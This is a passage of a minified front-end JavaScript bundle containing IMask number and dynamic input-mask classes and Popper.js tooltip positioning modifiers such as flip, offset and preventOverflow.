t+i}));if(t.length&&!/\d$/.test(n[0]))n[0]=n[0]+"0";if(n.length>1){n[1]=n[1].replace(/0*$/,"");if(!n[1].length)n.length=1}return this._insertThousandsSeparators(n.join(this.radix))}},{key:"_padFractionalZeros",value:function e(t){if(!t)return t;var n=t.split(this.radix);if(n.length<2)n.push("");n[1]=n[1].padEnd(this.scale,"0");return n.join(this.radix)}},{key:"unmaskedValue",get:function e(){return this._removeThousandsSeparators(this._normalizeZeros(this.value)).replace(this.radix,".")},set:function e(t){A(g(n.prototype),"unmaskedValue",t.replace(".",this.radix),this,true)}},{key:"typedValue",get:function e(){return Number(this.unmaskedValue)},set:function e(t){A(g(n.prototype),"unmaskedValue",String(t),this,true)}},{key:"number",get:function e(){return this.typedValue},set:function e(t){this.typedValue=t}},{key:"allowNegative",get:function e(){return this.signed||this.min!=null&&this.min<0||this.max!=null&&this.max<0}}]);return n}(z);ce.DEFAULTS={radix:",",thousandsSeparator:"",mapToRadix:["."],scale:2,signed:false,normalizeZeros:true,padFractionalZeros:false};q.MaskedNumber=ce;var fe=function(e){p(n,e);var t=x(n);function n(){c(this,n);return t.apply(this,arguments)}d(n,[{key:"_update",value:function e(t){if(t.mask)t.validate=t.mask;C(g(n.prototype),"_update",this).call(this,t)}}]);return n}(z);q.MaskedFunction=fe;var de=["compiledMasks","currentMaskRef","currentMask"];var he=function(e){p(n,e);var t=x(n);function n(e){var i;c(this,n);i=t.call(this,Object.assign({},n.DEFAULTS,e));i.currentMask=null;return i}d(n,[{key:"_update",value:function e(t){C(g(n.prototype),"_update",this).call(this,t);if("mask"in t){this.compiledMasks=Array.isArray(t.mask)?t.mask.map((function(e){return Q(e)})):[]}}},{key:"_appendCharRaw",value:function e(t){var n=arguments.length>1&&arguments[1]!==undefined?arguments[1]:{};var i=this._applyDispatch(t,n);if(this.currentMask){i.aggregate(this.currentMask._appendChar(t,n))}return i}},{key:"_applyDispatch",value:function e(){var t=arguments.length>0&&arguments[0]!==undefined?arguments[0]:"";var n=arguments.length>1&&arguments[1]!==undefined?arguments[1]:{};var i=n.tail&&n._beforeTailState!=null?n._beforeTailState._value:this.value;var r=this.rawInputValue;var s=n.tail&&n._beforeTailState!=null?n._beforeTailState._rawInputValue:r;var o=r.slice(s.length);var a=this.currentMask;var l=new P;var u=a&&a.state;this.currentMask=this.doDispatch(t,Object.assign({},n));if(this.currentMask){if(this.currentMask!==a){this.currentMask.reset();if(s){var c=this.currentMask.append(s,{raw:true});l.tailShift=c.inserted.length-i.length}if(o){l.tailShift+=this.currentMask.append(o,{raw:true,tail:true}).tailShift}}else{this.currentMask.state=u}}return l}},{key:"_appendPlaceholder",value:function e(){var t=this._applyDispatch.apply(this,arguments);if(this.currentMask){t.aggregate(this.currentMask._appendPlaceholder())}return t}},{key:"_appendEager",value:function e(){var t=this._applyDispatch.apply(this,arguments);if(this.currentMask){t.aggregate(this.currentMask._appendEager())}return t}},{key:"doDispatch",value:function e(t){var n=arguments.length>1&&arguments[1]!==undefined?arguments[1]:{};return this.dispatch(t,this,n)}},{key:"doValidate",value:function e(){var t,i;for(var r=arguments.length,s=new Array(r),o=0;o<r;o++){s[o]=arguments[o]}return(t=C(g(n.prototype),"doValidate",this)).call.apply(t,[this].concat(s))&&(!this.currentMask||(i=this.currentMask).doValidate.apply(i,s))}},{key:"reset",value:function e(){var t;(t=this.currentMask)===null||t===void 0?void 0:t.reset();this.compiledMasks.forEach((function(e){return e.reset()}))}},{key:"value",get:function e(){return this.currentMask?this.currentMask.value:""},set:function e(t){A(g(n.prototype),"value",t,this,true)}},{key:"unmaskedValue",get:function e(){return this.currentMask?this.currentMask.unmaskedValue:""},set:function e(t){A(g(n.prototype),"unmaskedValue",t,this,true)}},{key:"typedValue",get:function e(){return this.currentMask?this.currentMask.typedValue:""},set:function e(t){var n=String(t);if(this.currentMask){this.currentMask.typedValue=t;n=this.currentMask.unmaskedValue}this.unmaskedValue=n}},{key:"isComplete",get:function e(){var t;return Boolean((t=this.currentMask)===null||t===void 0?void 0:t.isComplete)}},{key:"isFilled",get:function e(){var t;return Boolean((t=this.currentMask)===null||t===void 0?void 0:t.isFilled)}},{key:"remove",value:function e(){var t=new P;if(this.currentMask){var n;t.aggregate((n=this.currentMask).remove.apply(n,arguments)).aggregate(this._applyDispatch())}return t}},{key:"state",get:function e(){return Object.assign({},C(g(n.prototype),"state",this),{_rawInputValue:this.rawInputValue,compiledMasks:this.compiledMasks.map((function(e){return e.state})),currentMaskRef:this.currentMask,currentMask:this.currentMask&&this.currentMask.state})},set:function e(t){var i=t.compiledMasks,r=t.currentMaskRef,s=t.currentMask,o=b(t,de);this.compiledMasks.forEach((function(e,t){return e.state=i[t]}));if(r!=null){this.currentMask=r;this.currentMask.state=s}A(g(n.prototype),"state",o,this,true)}},{key:"extractInput",value:function e(){var t;return this.currentMask?(t=this.currentMask).extractInput.apply(t,arguments):""}},{key:"extractTail",value:function e(){var t,i;for(var r=arguments.length,s=new Array(r),o=0;o<r;o++){s[o]=arguments[o]}return this.currentMask?(t=this.currentMask).extractTail.apply(t,s):(i=C(g(n.prototype),"extractTail",this)).call.apply(i,[this].concat(s))}},{key:"doCommit",value:function e(){if(this.currentMask)this.currentMask.doCommit();C(g(n.prototype),"doCommit",this).call(this)}},{key:"nearestInputPos",value:function e(){var t,i;for(var r=arguments.length,s=new Array(r),o=0;o<r;o++){s[o]=arguments[o]}return this.currentMask?(t=this.currentMask).nearestInputPos.apply(t,s):(i=C(g(n.prototype),"nearestInputPos",this)).call.apply(i,[this].concat(s))}},{key:"overwrite",get:function e(){return this.currentMask?this.currentMask.overwrite:C(g(n.prototype),"overwrite",this)},set:function e(t){console.warn('"overwrite" option is not available in dynamic mask, use this option in siblings')}},{key:"eager",get:function e(){return this.currentMask?this.currentMask.eager:C(g(n.prototype),"eager",this)},set:function e(t){console.warn('"eager" option is not available in dynamic mask, use this option in siblings')}},{key:"maskEquals",value:function e(t){return Array.isArray(t)&&this.compiledMasks.every((function(e,n){var i;return e.maskEquals((i=t[n])===null||i===void 0?void 0:i.mask)}))}}]);return n}(z);he.DEFAULTS={dispatch:function e(t,n,i){if(!n.compiledMasks.length)return;var r=n.rawInputValue;var s=n.compiledMasks.map((function(e,n){e.reset();e.append(r,{raw:true});e.append(t,i);var s=e.rawInputValue.length;return{weight:s,index:n}}));s.sort((function(e,t){return t.weight-e.weight}));return n.compiledMasks[s[0].index]}};q.MaskedDynamic=he;var pe={MASKED:"value",UNMASKED:"unmaskedValue",TYPED:"typedValue"};function ge(e){var t=arguments.length>1&&arguments[1]!==undefined?arguments[1]:pe.MASKED;var n=arguments.length>2&&arguments[2]!==undefined?arguments[2]:pe.MASKED;var i=Q(e);return function(e){return i.runIsolated((function(i){i[t]=e;return i[n]}))}}function ve(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),i=1;i<t;i++){n[i-1]=arguments[i]}return ge.apply(void 0,n)(e)}q.PIPE_TYPE=pe;q.createPipe=ge;q.pipe=ve;try{globalThis.IMask=q}catch(e){}var me=[].slice.call(document.querySelectorAll("[data-mask]"));me.map((function(e){return new q(e,{mask:e.dataset.mask,lazy:e.dataset["mask-visible"]==="true"})}));var ye="top";var be="bottom";var _e="right";var we="left";var xe="auto";var ke=[ye,be,_e,we];var Ce="start";var Ee="end";var Ae="clippingParents";var Te="viewport";var Se="popper";var je="reference";var De=ke.reduce((function(e,t){return e.concat([t+"-"+Ce,t+"-"+Ee])}),[]);var Oe=[].concat(ke,[xe]).reduce((function(e,t){return e.concat([t,t+"-"+Ce,t+"-"+Ee])}),[]);var Ne="beforeRead";var Pe="read";var Le="afterRead";var Fe="beforeMain";var Ie="main";var Me="afterMain";var $e="beforeWrite";var Re="write";var He="afterWrite";var Be=[Ne,Pe,Le,Fe,Ie,Me,$e,Re,He];function qe(e){return e?(e.nodeName||"").toLowerCase():null}function ze(e){if(e==null){return window}if(e.toString()!=="[object Window]"){var t=e.ownerDocument;return t?t.defaultView||window:window}return e}function We(e){var t=ze(e).Element;return e instanceof t||e instanceof Element}function Qe(e){var t=ze(e).HTMLElement;return e instanceof t||e instanceof HTMLElement}function Ve(e){if(typeof ShadowRoot==="undefined"){return false}var t=ze(e).ShadowRoot;return e instanceof t||e instanceof ShadowRoot}function Ue(e){var t=e.state;Object.keys(t.elements).forEach((function(e){var n=t.styles[e]||{};var i=t.attributes[e]||{};var r=t.elements[e];if(!Qe(r)||!qe(r)){return}Object.assign(r.style,n);Object.keys(i).forEach((function(e){var t=i[e];if(t===false){r.removeAttribute(e)}else{r.setAttribute(e,t===true?"":t)}}))}))}function Ke(e){var t=e.state;var n={popper:{position:t.options.strategy,left:"0",top:"0",margin:"0"},arrow:{position:"absolute"},reference:{}};Object.assign(t.elements.popper.style,n.popper);t.styles=n;if(t.elements.arrow){Object.assign(t.elements.arrow.style,n.arrow)}return function(){Object.keys(t.elements).forEach((function(e){var i=t.elements[e];var r=t.attributes[e]||{};var s=Object.keys(t.styles.hasOwnProperty(e)?t.styles[e]:n[e]);var o=s.reduce((function(e,t){e[t]="";return e}),{});if(!Qe(i)||!qe(i)){return}Object.assign(i.style,o);Object.keys(r).forEach((function(e){i.removeAttribute(e)}))}))}}var Ge={name:"applyStyles",enabled:true,phase:"write",fn:Ue,effect:Ke,requires:["computeStyles"]};function Ye(e){return e.split("-")[0]}var Xe=Math.max;var Je=Math.min;var Ze=Math.round;function et(e,t){if(t===void 0){t=false}var n=e.getBoundingClientRect();var i=1;var r=1;if(Qe(e)&&t){var s=e.offsetHeight;var o=e.offsetWidth;if(o>0){i=Ze(n.width)/o||1}if(s>0){r=Ze(n.height)/s||1}}return{width:n.width/i,height:n.height/r,top:n.top/r,right:n.right/i,bottom:n.bottom/r,left:n.left/i,x:n.left/i,y:n.top/r}}function tt(e){var t=et(e);var n=e.offsetWidth;var i=e.offsetHeight;if(Math.abs(t.width-n)<=1){n=t.width}if(Math.abs(t.height-i)<=1){i=t.height}return{x:e.offsetLeft,y:e.offsetTop,width:n,height:i}}function nt(e,t){var n=t.getRootNode&&t.getRootNode();if(e.contains(t)){return true}else if(n&&Ve(n)){var i=t;do{if(i&&e.isSameNode(i)){return true}i=i.parentNode||i.host}while(i)}return false}function it(e){return ze(e).getComputedStyle(e)}function rt(e){return["table","td","th"].indexOf(qe(e))>=0}function st(e){return((We(e)?e.ownerDocument:e.document)||window.document).documentElement}function ot(e){if(qe(e)==="html"){return e}return e.assignedSlot||e.parentNode||(Ve(e)?e.host:null)||st(e)}function at(e){if(!Qe(e)||it(e).position==="fixed"){return null}return e.offsetParent}function lt(e){var t=navigator.userAgent.toLowerCase().indexOf("firefox")!==-1;var n=navigator.userAgent.indexOf("Trident")!==-1;if(n&&Qe(e)){var i=it(e);if(i.position==="fixed"){return null}}var r=ot(e);while(Qe(r)&&["html","body"].indexOf(qe(r))<0){var s=it(r);if(s.transform!=="none"||s.perspective!=="none"||s.contain==="paint"||["transform","perspective"].indexOf(s.willChange)!==-1||t&&s.willChange==="filter"||t&&s.filter&&s.filter!=="none"){return r}else{r=r.parentNode}}return null}function ut(e){var t=ze(e);var n=at(e);while(n&&rt(n)&&it(n).position==="static"){n=at(n)}if(n&&(qe(n)==="html"||qe(n)==="body"&&it(n).position==="static")){return t}return n||lt(e)||t}function ct(e){return["top","bottom"].indexOf(e)>=0?"x":"y"}function ft(e,t,n){return Xe(e,Je(t,n))}function dt(e,t,n){var i=ft(e,t,n);return i>n?n:i}function ht(){return{top:0,right:0,bottom:0,left:0}}function pt(e){return Object.assign({},ht(),e)}function gt(e,t){return t.reduce((function(t,n){t[n]=e;return t}),{})}var vt=function e(t,n){t=typeof t==="function"?t(Object.assign({},n.rects,{placement:n.placement})):t;return pt(typeof t!=="number"?t:gt(t,ke))};function mt(e){var t;var n=e.state,i=e.name,r=e.options;var s=n.elements.arrow;var o=n.modifiersData.popperOffsets;var a=Ye(n.placement);var l=ct(a);var u=[we,_e].indexOf(a)>=0;var c=u?"height":"width";if(!s||!o){return}var f=vt(r.padding,n);var d=tt(s);var h=l==="y"?ye:we;var p=l==="y"?be:_e;var g=n.rects.reference[c]+n.rects.reference[l]-o[l]-n.rects.popper[c];var v=o[l]-n.rects.reference[l];var m=ut(s);var y=m?l==="y"?m.clientHeight||0:m.clientWidth||0:0;var b=g/2-v/2;var _=f[h];var w=y-d[c]-f[p];var x=y/2-d[c]/2+b;var k=ft(_,x,w);var C=l;n.modifiersData[i]=(t={},t[C]=k,t.centerOffset=k-x,t)}function yt(e){var t=e.state,n=e.options;var i=n.element,r=i===void 0?"[data-popper-arrow]":i;if(r==null){return}if(typeof r==="string"){r=t.elements.popper.querySelector(r);if(!r){return}}if(!nt(t.elements.popper,r)){return}t.elements.arrow=r}var bt={name:"arrow",enabled:true,phase:"main",fn:mt,effect:yt,requires:["popperOffsets"],requiresIfExists:["preventOverflow"]};function _t(e){return e.split("-")[1]}var wt={top:"auto",right:"auto",bottom:"auto",left:"auto"};function xt(e){var t=e.x,n=e.y;var i=window;var r=i.devicePixelRatio||1;return{x:Ze(t*r)/r||0,y:Ze(n*r)/r||0}}function kt(e){var t;var n=e.popper,i=e.popperRect,r=e.placement,s=e.variation,o=e.offsets,a=e.position,l=e.gpuAcceleration,u=e.adaptive,c=e.roundOffsets,f=e.isFixed;var d=o.x,h=d===void 0?0:d,p=o.y,g=p===void 0?0:p;var v=typeof c==="function"?c({x:h,y:g}):{x:h,y:g};h=v.x;g=v.y;var m=o.hasOwnProperty("x");var y=o.hasOwnProperty("y");var b=we;var _=ye;var w=window;if(u){var x=ut(n);var k="clientHeight";var C="clientWidth";if(x===ze(n)){x=st(n);if(it(x).position!=="static"&&a==="absolute"){k="scrollHeight";C="scrollWidth"}}x=x;if(r===ye||(r===we||r===_e)&&s===Ee){_=be;var E=f&&w.visualViewport?w.visualViewport.height:x[k];g-=E-i.height;g*=l?1:-1}if(r===we||(r===ye||r===be)&&s===Ee){b=_e;var A=f&&w.visualViewport?w.visualViewport.width:x[C];h-=A-i.width;h*=l?1:-1}}var T=Object.assign({position:a},u&&wt);var S=c===true?xt({x:h,y:g}):{x:h,y:g};h=S.x;g=S.y;if(l){var j;return Object.assign({},T,(j={},j[_]=y?"0":"",j[b]=m?"0":"",j.transform=(w.devicePixelRatio||1)<=1?"translate("+h+"px, "+g+"px)":"translate3d("+h+"px, "+g+"px, 0)",j))}return Object.assign({},T,(t={},t[_]=y?g+"px":"",t[b]=m?h+"px":"",t.transform="",t))}function Ct(e){var t=e.state,n=e.options;var i=n.gpuAcceleration,r=i===void 0?true:i,s=n.adaptive,o=s===void 0?true:s,a=n.roundOffsets,l=a===void 0?true:a;var u={placement:Ye(t.placement),variation:_t(t.placement),popper:t.elements.popper,popperRect:t.rects.popper,gpuAcceleration:r,isFixed:t.options.strategy==="fixed"};if(t.modifiersData.popperOffsets!=null){t.styles.popper=Object.assign({},t.styles.popper,kt(Object.assign({},u,{offsets:t.modifiersData.popperOffsets,position:t.options.strategy,adaptive:o,roundOffsets:l})))}if(t.modifiersData.arrow!=null){t.styles.arrow=Object.assign({},t.styles.arrow,kt(Object.assign({},u,{offsets:t.modifiersData.arrow,position:"absolute",adaptive:false,roundOffsets:l})))}t.attributes.popper=Object.assign({},t.attributes.popper,{"data-popper-placement":t.placement})}var Et={name:"computeStyles",enabled:true,phase:"beforeWrite",fn:Ct,data:{}};var At={passive:true};function Tt(e){var t=e.state,n=e.instance,i=e.options;var r=i.scroll,s=r===void 0?true:r,o=i.resize,a=o===void 0?true:o;var l=ze(t.elements.popper);var u=[].concat(t.scrollParents.reference,t.scrollParents.popper);if(s){u.forEach((function(e){e.addEventListener("scroll",n.update,At)}))}if(a){l.addEventListener("resize",n.update,At)}return function(){if(s){u.forEach((function(e){e.removeEventListener("scroll",n.update,At)}))}if(a){l.removeEventListener("resize",n.update,At)}}}var St={name:"eventListeners",enabled:true,phase:"write",fn:function e(){},effect:Tt,data:{}};var jt={left:"right",right:"left",bottom:"top",top:"bottom"};function Dt(e){return e.replace(/left|right|bottom|top/g,(function(e){return jt[e]}))}var Ot={start:"end",end:"start"};function Nt(e){return e.replace(/start|end/g,(function(e){return Ot[e]}))}function Pt(e){var t=ze(e);var n=t.pageXOffset;var i=t.pageYOffset;return{scrollLeft:n,scrollTop:i}}function Lt(e){return et(st(e)).left+Pt(e).scrollLeft}function Ft(e){var t=ze(e);var n=st(e);var i=t.visualViewport;var r=n.clientWidth;var s=n.clientHeight;var o=0;var a=0;if(i){r=i.width;s=i.height;if(!/^((?!chrome|android).)*safari/i.test(navigator.userAgent)){o=i.offsetLeft;a=i.offsetTop}}return{width:r,height:s,x:o+Lt(e),y:a}}function It(e){var t;var n=st(e);var i=Pt(e);var r=(t=e.ownerDocument)==null?void 0:t.body;var s=Xe(n.scrollWidth,n.clientWidth,r?r.scrollWidth:0,r?r.clientWidth:0);var o=Xe(n.scrollHeight,n.clientHeight,r?r.scrollHeight:0,r?r.clientHeight:0);var a=-i.scrollLeft+Lt(e);var l=-i.scrollTop;if(it(r||n).direction==="rtl"){a+=Xe(n.clientWidth,r?r.clientWidth:0)-s}return{width:s,height:o,x:a,y:l}}function Mt(e){var t=it(e),n=t.overflow,i=t.overflowX,r=t.overflowY;return/auto|scroll|overlay|hidden/.test(n+r+i)}function $t(e){if(["html","body","#document"].indexOf(qe(e))>=0){return e.ownerDocument.body}if(Qe(e)&&Mt(e)){return e}return $t(ot(e))}function Rt(e,t){var n;if(t===void 0){t=[]}var i=$t(e);var r=i===((n=e.ownerDocument)==null?void 0:n.body);var s=ze(i);var o=r?[s].concat(s.visualViewport||[],Mt(i)?i:[]):i;var a=t.concat(o);return r?a:a.concat(Rt(ot(o)))}function Ht(e){return Object.assign({},e,{left:e.x,top:e.y,right:e.x+e.width,bottom:e.y+e.height})}function Bt(e){var t=et(e);t.top=t.top+e.clientTop;t.left=t.left+e.clientLeft;t.bottom=t.top+e.clientHeight;t.right=t.left+e.clientWidth;t.width=e.clientWidth;t.height=e.clientHeight;t.x=t.left;t.y=t.top;return t}function qt(e,t){return t===Te?Ht(Ft(e)):We(t)?Bt(t):Ht(It(st(e)))}function zt(e){var t=Rt(ot(e));var n=["absolute","fixed"].indexOf(it(e).position)>=0;var i=n&&Qe(e)?ut(e):e;if(!We(i)){return[]}return t.filter((function(e){return We(e)&&nt(e,i)&&qe(e)!=="body"}))}function Wt(e,t,n){var i=t==="clippingParents"?zt(e):[].concat(t);var r=[].concat(i,[n]);var s=r[0];var o=r.reduce((function(t,n){var i=qt(e,n);t.top=Xe(i.top,t.top);t.right=Je(i.right,t.right);t.bottom=Je(i.bottom,t.bottom);t.left=Xe(i.left,t.left);return t}),qt(e,s));o.width=o.right-o.left;o.height=o.bottom-o.top;o.x=o.left;o.y=o.top;return o}function Qt(e){var t=e.reference,n=e.element,i=e.placement;var r=i?Ye(i):null;var s=i?_t(i):null;var o=t.x+t.width/2-n.width/2;var a=t.y+t.height/2-n.height/2;var l;switch(r){case ye:l={x:o,y:t.y-n.height};break;case be:l={x:o,y:t.y+t.height};break;case _e:l={x:t.x+t.width,y:a};break;case we:l={x:t.x-n.width,y:a};break;default:l={x:t.x,y:t.y}}var u=r?ct(r):null;if(u!=null){var c=u==="y"?"height":"width";switch(s){case Ce:l[u]=l[u]-(t[c]/2-n[c]/2);break;case Ee:l[u]=l[u]+(t[c]/2-n[c]/2);break}}return l}function Vt(e,t){if(t===void 0){t={}}var n=t,i=n.placement,r=i===void 0?e.placement:i,s=n.boundary,o=s===void 0?Ae:s,a=n.rootBoundary,l=a===void 0?Te:a,u=n.elementContext,c=u===void 0?Se:u,f=n.altBoundary,d=f===void 0?false:f,h=n.padding,p=h===void 0?0:h;var g=pt(typeof p!=="number"?p:gt(p,ke));var v=c===Se?je:Se;var m=e.rects.popper;var y=e.elements[d?v:c];var b=Wt(We(y)?y:y.contextElement||st(e.elements.popper),o,l);var _=et(e.elements.reference);var w=Qt({reference:_,element:m,strategy:"absolute",placement:r});var x=Ht(Object.assign({},m,w));var k=c===Se?x:_;var C={top:b.top-k.top+g.top,bottom:k.bottom-b.bottom+g.bottom,left:b.left-k.left+g.left,right:k.right-b.right+g.right};var E=e.modifiersData.offset;if(c===Se&&E){var A=E[r];Object.keys(C).forEach((function(e){var t=[_e,be].indexOf(e)>=0?1:-1;var n=[ye,be].indexOf(e)>=0?"y":"x";C[e]+=A[n]*t}))}return C}function Ut(e,t){if(t===void 0){t={}}var n=t,i=n.placement,r=n.boundary,s=n.rootBoundary,o=n.padding,a=n.flipVariations,l=n.allowedAutoPlacements,u=l===void 0?Oe:l;var c=_t(i);var f=c?a?De:De.filter((function(e){return _t(e)===c})):ke;var d=f.filter((function(e){return u.indexOf(e)>=0}));if(d.length===0){d=f}var h=d.reduce((function(t,n){t[n]=Vt(e,{placement:n,boundary:r,rootBoundary:s,padding:o})[Ye(n)];return t}),{});return Object.keys(h).sort((function(e,t){return h[e]-h[t]}))}function Kt(e){if(Ye(e)===xe){return[]}var t=Dt(e);return[Nt(e),t,Nt(t)]}function Gt(e){var t=e.state,n=e.options,i=e.name;if(t.modifiersData[i]._skip){return}var r=n.mainAxis,s=r===void 0?true:r,o=n.altAxis,a=o===void 0?true:o,l=n.fallbackPlacements,u=n.padding,c=n.boundary,f=n.rootBoundary,d=n.altBoundary,h=n.flipVariations,p=h===void 0?true:h,g=n.allowedAutoPlacements;var v=t.options.placement;var m=Ye(v);var y=m===v;var b=l||(y||!p?[Dt(v)]:Kt(v));var _=[v].concat(b).reduce((function(e,n){return e.concat(Ye(n)===xe?Ut(t,{placement:n,boundary:c,rootBoundary:f,padding:u,flipVariations:p,allowedAutoPlacements:g}):n)}),[]);var w=t.rects.reference;var x=t.rects.popper;var k=new Map;var C=true;var E=_[0];for(var A=0;A<_.length;A++){var T=_[A];var S=Ye(T);var j=_t(T)===Ce;var D=[ye,be].indexOf(S)>=0;var O=D?"width":"height";var N=Vt(t,{placement:T,boundary:c,rootBoundary:f,altBoundary:d,padding:u});var P=D?j?_e:we:j?be:ye;if(w[O]>x[O]){P=Dt(P)}var L=Dt(P);var F=[];if(s){F.push(N[S]<=0)}if(a){F.push(N[P]<=0,N[L]<=0)}if(F.every((function(e){return e}))){E=T;C=false;break}k.set(T,F)}if(C){var I=p?3:1;var M=function e(t){var n=_.find((function(e){var n=k.get(e);if(n){return n.slice(0,t).every((function(e){return e}))}}));if(n){E=n;return"break"}};for(var $=I;$>0;$--){var R=M($);if(R==="break")break}}if(t.placement!==E){t.modifiersData[i]._skip=true;t.placement=E;t.reset=true}}var Yt={name:"flip",enabled:true,phase:"main",fn:Gt,requiresIfExists:["offset"],data:{_skip:false}};function Xt(e,t,n){if(n===void 0){n={x:0,y:0}}return{top:e.top-t.height-n.y,right:e.right-t.width+n.x,bottom:e.bottom-t.height+n.y,left:e.left-t.width-n.x}}function Jt(e){return[ye,_e,be,we].some((function(t){return e[t]>=0}))}function Zt(e){var t=e.state,n=e.name;var i=t.rects.reference;var r=t.rects.popper;var s=t.modifiersData.preventOverflow;var o=Vt(t,{elementContext:"reference"});var a=Vt(t,{altBoundary:true});var l=Xt(o,i);var u=Xt(a,r,s);var c=Jt(l);var f=Jt(u);t.modifiersData[n]={referenceClippingOffsets:l,popperEscapeOffsets:u,isReferenceHidden:c,hasPopperEscaped:f};t.attributes.popper=Object.assign({},t.attributes.popper,{"data-popper-reference-hidden":c,"data-popper-escaped":f})}var en={name:"hide",enabled:true,phase:"main",requiresIfExists:["preventOverflow"],fn:Zt};function tn(e,t,n){var i=Ye(e);var r=[we,ye].indexOf(i)>=0?-1:1;var s=typeof n==="function"?n(Object.assign({},t,{placement:e})):n,o=s[0],a=s[1];o=o||0;a=(a||0)*r;return[we,_e].indexOf(i)>=0?{x:a,y:o}:{x:o,y:a}}function nn(e){var t=e.state,n=e.options,i=e.name;var r=n.offset,s=r===void 0?[0,0]:r;var o=Oe.reduce((function(e,n){e[n]=tn(n,t.rects,s);return e}),{});var a=o[t.placement],l=a.x,u=a.y;if(t.modifiersData.popperOffsets!=null){t.modifiersData.popperOffsets.x+=l;t.modifiersData.popperOffsets.y+=u}t.modifiersData[i]=o}var rn={name:"offset",enabled:true,phase:"main",requires:["popperOffsets"],fn:nn};function sn(e){var t=e.state,n=e.name;t.modifiersData[n]=Qt({reference:t.rects.reference,element:t.rects.popper,strategy:"absolute",placement:t.placement})}var on={name:"popperOffsets",enabled:true,phase:"read",fn:sn,data:{}};function an(e){return e==="x"?"y":"x"}function ln(e){var t=e.state,n=e.options,i=e.name;var r=n.mainAxis,s=r===void 0?true:r,o=n.altAxis,a=o===void 0?false:o,l=n.boundary,u=n.rootBoundary,c=n.altBoundary,f=n.padding,d=n.tether,h=d===void 0?true:d,p=n.tetherOffset,g=p===void 0?0:p;var v=Vt(t,{boundary:l,rootBoundary:u,padding:f,altBoundary:c});var m=Ye(t.placement);var y=_t(t.placement);var b=!y;var _=ct(m);var w=an(_);var x=t.modifiersData.popperOffsets;var k=t.rects.reference;var C=t.rects.popper;var E=typeof g==="function"?g(Object.assign({},t.rects,{placement:t.placement})):g;var A=typeof E==="number"?{mainAxis:E,altAxis:E}:Object.assign({mainAxis:0,altAxis:0},E);var T=t.modifiersData.offset?t.modifiersData.offset[t.placement]:null;var S={x:0,y:0};if(!x){return}if(s){var j;var D=_==="y"?ye:we;var O=_==="y"?be:_e;var N=_==="y"?"height":"width";var P=x[_];var L=P+v[D];var F=P-v[O];var I=h?-C[N]/2:0;var M=y===Ce?k[N]:C[N];var $=y===Ce?-C[N]:-k[N];var R=t.elements.arrow;var H=h&&R?tt(R):{width:0,height:0};var B=t.modifiersData["arrow#persistent"]?t.modifiersData["arrow#persistent"].padding:ht();var q=B[D];var z=B[O];var W=ft(0,k[N],H[N]);var Q=b?k[N]/2-I-W-q-A.mainAxis:M-W-q-A.mainAxis;var V=b?-k[N]/2+I+W+z+A.mainAxis:$+W+z+A.mainAxis;var U=t.elements.arrow&&ut(t.elements.arrow);var K=U?_==="y"?U.clientTop||0:U.clientLeft||0:0;var G=(j=T==null?void 0:T[_])!=null?j:0;var Y=P+Q-G-K;var X=P+V-G;var J=ft(h?Je(L,Y):L,P,h?Xe(F,X):F);x[_]=J;S[_]=J-P}if(a){var Z;var ee=_==="x"?ye:we;var te=_==="x"?be:_e;var ne=x[w];var ie=w==="y"?"height":"width";var re=ne+v[ee];var se=ne-v[te];var oe=[ye,we].indexOf(m)!==-1;var ae=(Z=T==null?void 0:T[w])!=null?Z:0;var le=oe?re:ne-k[ie]-C[ie]-ae+A.altAxis;var ue=oe?ne+k[ie]+C[ie]-ae-A.altAxis:se;var ce=h&&oe?dt(le,ne,ue):ft(h?le:re,ne,h?ue:se);x[w]=ce;S[w]=ce-ne}t.modifiersData[i]=S}var un={name:"preventOverflow",enabled:true,phase:"main",fn:ln,requiresIfExists:["offset"]};function cn(e){return{scrollLeft:e.scrollLeft,scrollTop:e.scrollTop}}function fn(e){if(e===ze(e)||!Qe(e)){return Pt(e)}else{return cn(e)}}function dn(e){var t=e.getBoundingClientRect();var n=Ze(t.width)/e.offsetWidth||1;var i=Ze(t.height)/e.offsetHeight||1;return n!==1||i!==1}function hn(e,t,n){if(n===void 0){n=false}var i=Qe(t);var r=Qe(t)&&dn(t);var s=st(t);var o=et(e,r);var a={scrollLeft:0,scrollTop:0};var l={x:0,y:0};if(i||!i&&!n){if(qe(t)!=="body"||Mt(s)){a=fn(t)}if(Qe(t)){l=et(t,true);l.x+=t.clientLeft;l.y+=t.clientTop}else if(s){l.x=Lt(s)}}return{x:o.left+a.scrollLeft-l.x,y:o.top+a.scrollTop-l.y,width:o.width,height:o.height}}function pn(e){var t=new Map;var n=new Set;var i=[];e.forEach((function(e){t.set(e.name,e)}));function r(e){n.add(e.name);var s=[].concat(e.requires||[],e.requiresIfExists||[]);s.forEach((function(e){if(!n.has(e)){var i=t.get(e);if(i){r(i)}}}));i.push(e)}e.forEach((function(e){if(!n.has(e.name)){r(e)}}));return i}function gn(e){var t=pn(e);return Be.reduce((function(e,n){return e.concat(t.filter((function(e){return e.phase===n})))}),[])}function vn(e){var t;return function(){if(!t){t=new Promise((function(n){Promise.resolve().then((function(){t=undefined;n(e())}))}))}return t}}function mn(e){var t=e.reduce((function(e,t){var n=e[t.name];e[t.name]=n?Object.assign({},n,t,{options:Object.assign({},n.options,t.options),data:Object.assign({},n.data,t.data)}):t;return e}),{});return Object.keys(t).map((function(e){return t[e]}))}var yn={placement:"bottom",modifiers:[],strategy:"absolute"};function bn(){for(var e=arguments.length,t=new Array(e),n=0;n<e;n++){t[n]=arguments[n]}return!t.some((function(e){return!(e&&typeof e.getBoundingClientRect==="function")}))}function _n(e){if(e===void 0){e={}}var t=e,n=t.defaultModifiers,i=n===void 0?[]:n,r=t.defaultOptions,s=r===void 0?yn:r;return function e(t,n,r){if(r===void 0){r=s}var o={placement:"bottom",orderedModifiers:[],options:Object.assign({},yn,s),modifiersData:{},elements:{reference:t,popper:n},attributes:{},styles:{}};var a=[];var l=false;var u={state:o,setOptions:function e(r){var a=typeof r==="function"?r(o.options):r;f();o.options=Object.assign({},s,o.options,a);o.scrollParents={reference:We(t)?Rt(t):t.contextElement?Rt(t.contextElement):[],popper:Rt(n)};var l=gn(mn([].concat(i,o.options.modifiers)));o.orderedModifiers=l.filter((function(e){return e.enabled}));c();return u.update()},forceUpdate:function e(){if(l){return}var t=o.elements,n=t.reference,i=t.popper;if(!bn(n,i)){return}o.rects={reference:hn(n,ut(i),o.options.strategy==="fixed"),popper:tt(i)};o.reset=false;o.placement=o.options.placement;o.orderedModifiers.forEach((function(e){return o.modifiersData[e.name]=Object.assign({},e.data)}));for(var 